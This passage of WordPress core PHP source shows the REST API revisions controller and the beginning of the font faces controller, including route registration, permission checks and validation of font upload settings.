						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as revisions do not support trashing.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $parent_post_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_post_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $parent_post_id <= 0 ) {
			return $error;
		}

		$parent_post = get_post( (int) $parent_post_id );

		if ( empty( $parent_post ) || empty( $parent_post->ID )
			|| $this->parent_post_type !== $parent_post->post_type
		) {
			return $error;
		}

		return $parent_post;
	}

	/**
	 * Checks if a given request has access to get revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Get the revision, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_revision( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid revision ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$revision = get_post( (int) $id );
		if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
			return $error;
		}

		return $revision;
	}

	/**
	 * Gets a collection of revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		$is_head_request = $request->is_method( 'HEAD' );

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$args       = array(
				'post_parent'      => $parent->ID,
				'post_type'        => 'revision',
				'post_status'      => 'inherit',
				'posts_per_page'   => -1,
				'orderby'          => 'date ID',
				'order'            => 'DESC',
				'suppress_filters' => true,
			);

			$parameter_mappings = array(
				'exclude'  => 'post__not_in',
				'include'  => 'post__in',
				'offset'   => 'offset',
				'order'    => 'order',
				'orderby'  => 'orderby',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
				'search'   => 's',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$args[ $wp_param ] = $request[ $api_param ];
				}
			}

			// For backward-compatibility, 'date' needs to resolve to 'date ID'.
			if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) {
				$args['orderby'] = 'date ID';
			}

			if ( $is_head_request ) {
				// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
				$args['fields'] = 'ids';
				// Disable priming post meta for HEAD requests to improve performance.
				$args['update_post_term_cache'] = false;
				$args['update_post_meta_cache'] = false;
			}

			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$args       = apply_filters( 'rest_revision_query', $args, $request );
			$query_args = $this->prepare_items_query( $args, $request );

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query without pagination/offset to get the total count.
				unset( $query_args['paged'], $query_args['offset'] );

				$count_query                          = new WP_Query();
				$query_args['fields']                 = 'ids';
				$query_args['posts_per_page']         = 1;
				$query_args['update_post_meta_cache'] = false;
				$query_args['update_post_term_cache'] = false;

				$count_query->query( $query_args );
				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}

			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		if ( ! $is_head_request ) {
			$response = array();

			foreach ( $revisions as $revision ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}

			$response = rest_ensure_response( $response );
		} else {
			$response = new WP_REST_Response( array() );
		}

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to get a specific revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->get_items_permissions_check( $request );
	}

	/**
	 * Retrieves one revision from the collection.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 Added a condition to check that parent id matches revision parent id.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		if ( (int) $parent->ID !== (int) $revision->post_parent ) {
			return new WP_Error(
				'rest_revision_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The revision does not belong to the specified parent with id of "%d"' ), $parent->ID ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $revision, $request );
		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$response = $this->get_items_permissions_check( $request );
		if ( ! $response || is_wp_error( $response ) ) {
			return $response;
		}

		if ( ! current_user_can( 'delete_post', $revision->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this revision.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for revisions.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$previous = $this->prepare_item_for_response( $revision, $request );

		$result = wp_delete_post( $request['id'], true );

		/**
		 * Fires after a revision is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully)
		 *                                   or false or null (failure). If the revision was moved to the Trash, $result represents
		 *                                   its new state; if it was deleted, $result represents its state before deletion.
		 * @param WP_REST_Request $request The request sent to the API.
		 */
		do_action( 'rest_delete_revision', $result, $request );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.0.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php */
			return apply_filters( 'rest_prepare_revision', new WP_REST_Response( array() ), $post, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $post->ID;
		}

		if ( in_array( 'modified', $fields, true ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( in_array( 'modified_gmt', $fields, true ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( in_array( 'guid', $fields, true ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( in_array( 'title', $fields, true ) ) {
			$data['title'] = array(
				'raw'      => $post->post_title,
				'rendered' => get_the_title( $post->ID ),
			);
		}

		if ( in_array( 'content', $fields, true ) ) {

			$data['content'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'excerpt', $fields, true ) ) {
			$data['excerpt'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $this->prepare_excerpt_response( $post->post_excerpt, $post ),
			);
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$context  = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data     = $this->add_additional_fields_to_object( $data, $request );
		$data     = $this->filter_response_by_context( $data, $context );
		$response = rest_ensure_response( $data );

		if ( ! empty( $data['parent'] ) ) {
			$response->add_link( 'parent', rest_url( rest_get_route_for_post( $data['parent'] ) ) );
		}

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_revision', $response, $post, $request );
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => "{$this->parent_post_type}-revision",
			'type'       => 'object',
			// Base properties for every Revision.
			'properties' => array(
				'author'       => array(
					'description' => __( 'The ID for the author of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date'         => array(
					'description' => __( "The date the revision was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the revision was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'GUID for the revision, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'     => array(
					'description' => __( "The date the revision was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'modified_gmt' => array(
					'description' => __( 'The date the revision was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'parent'       => array(
					'description' => __( 'The ID for the parent of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$parent_schema = $this->parent_controller->get_item_schema();

		if ( ! empty( $parent_schema['properties']['title'] ) ) {
			$schema['properties']['title'] = $parent_schema['properties']['title'];
		}

		if ( ! empty( $parent_schema['properties']['content'] ) ) {
			$schema['properties']['content'] = $parent_schema['properties']['content'];
		}

		if ( ! empty( $parent_schema['properties']['excerpt'] ) ) {
			$schema['properties']['excerpt'] = $parent_schema['properties']['excerpt'];
		}

		if ( ! empty( $parent_schema['properties']['guid'] ) ) {
			$schema['properties']['guid'] = $parent_schema['properties']['guid'];
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		unset( $query_params['per_page']['default'] );

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'date',
				'id',
				'include',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		return $query_params;
	}

	/**
	 * Checks the post excerpt and prepare it for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string  $excerpt The post excerpt.
	 * @param WP_Post $post    Post revision object.
	 * @return string Prepared excerpt or empty string.
	 */
	protected function prepare_excerpt_response( $excerpt, $post ) {

		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_excerpt', $excerpt, $post );

		if ( empty( $excerpt ) ) {
			return '';
		}

		return $excerpt;
	}
}
endpoints/class-wp-rest-font-faces-controller.php000066600000072164152442706000016206 0ustar00<?php
/**
 * REST API: WP_REST_Font_Faces_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Class to access font faces through the REST API.
 */
class WP_REST_Font_Faces_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 3;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for posts.
	 *
	 * @since 6.5.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_create_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
					'id'             => array(
						'description' => __( 'Unique identifier for the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.', 'default' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to font faces.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font faces.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font face.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font face settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_create_font_face_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'font_face_settings parameter must be a valid JSON string.' ),
				array( 'status' => 400 )
			);
		}

		// Check that the font face settings match the theme.json schema.
		$schema             = $this->get_item_schema()['properties']['font_face_settings'];
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_face_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		$required = $schema['required'];
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the missing font face settings parameter, e.g. "font_face_settings[src]". */
					sprintf( __( '%s cannot be empty.' ), "font_face_setting[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		$srcs  = is_array( $settings['src'] ) ? $settings['src'] : array( $settings['src'] );
		$files = $request->get_file_params();

		foreach ( $srcs as $src ) {
			// Check that each src is a non-empty string.
			$src = ltrim( $src );
			if ( empty( $src ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( '%s values must be non-empty strings.' ), 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}

			// Check that srcs are valid URLs or file references.
			if ( false === wp_http_validate_url( $src ) && ! isset( $files[ $src ] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: Font face source parameter name: "font_face_settings[src]", 2: The invalid src value. */
					sprintf( __( '%1$s value "%2$s" must be a valid URL or file reference.' ), 'font_face_settings[src]', $src ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that each file in the request references a src in the settings.
		foreach ( array_keys( $files ) as $file ) {
			if ( ! in_array( $file, $srcs, true ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: File key (e.g. "file-0") in the request data, 2: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( 'File %1$s must be used in %2$s.' ), $file, 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font face settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font face settings.
	 * @return array Decoded and sanitized array of font face settings.
	 */
	public function sanitize_font_face_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Retrieves a collection of font faces within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		return parent::get_items( $request );
	}

	/**
	 * Retrieves a single font face within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Check that the font face has a valid parent font family.
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		return parent::get_item( $request );
	}

	/**
	 * Creates a font face for the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings    = $request->get_param( 'font_face_settings' );
		$file_params = $request->get_file_params();

		// Check that the necessary font face properties are unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'title'                  => WP_Font_Utils::get_font_face_slug( $settings ),
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_face',
				__( 'A font face matching those settings already exists.' ),
				array( 'status' => 400 )
			);
		}

		// Move the uploaded font asset from the temp folder to the fonts directory.
		if ( ! function_exists( 'wp_handle_upload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$srcs           = is_string( $settings['src'] ) ? array( $settings['src'] ) : $settings['src'];
		$processed_srcs = array();
		$font_file_meta = array();

		foreach ( $srcs as $src ) {
			// If src not a file reference, use it as is.
			if ( ! isset( $file_params[ $src ] ) ) {
				$processed_srcs[] = $src;
				continue;
			}

			$file      = $file_params[ $src ];
			$font_file = $this->handle_font_file_upload( $file );
			if ( is_wp_error( $font_file ) ) {
				return $font_file;
			}

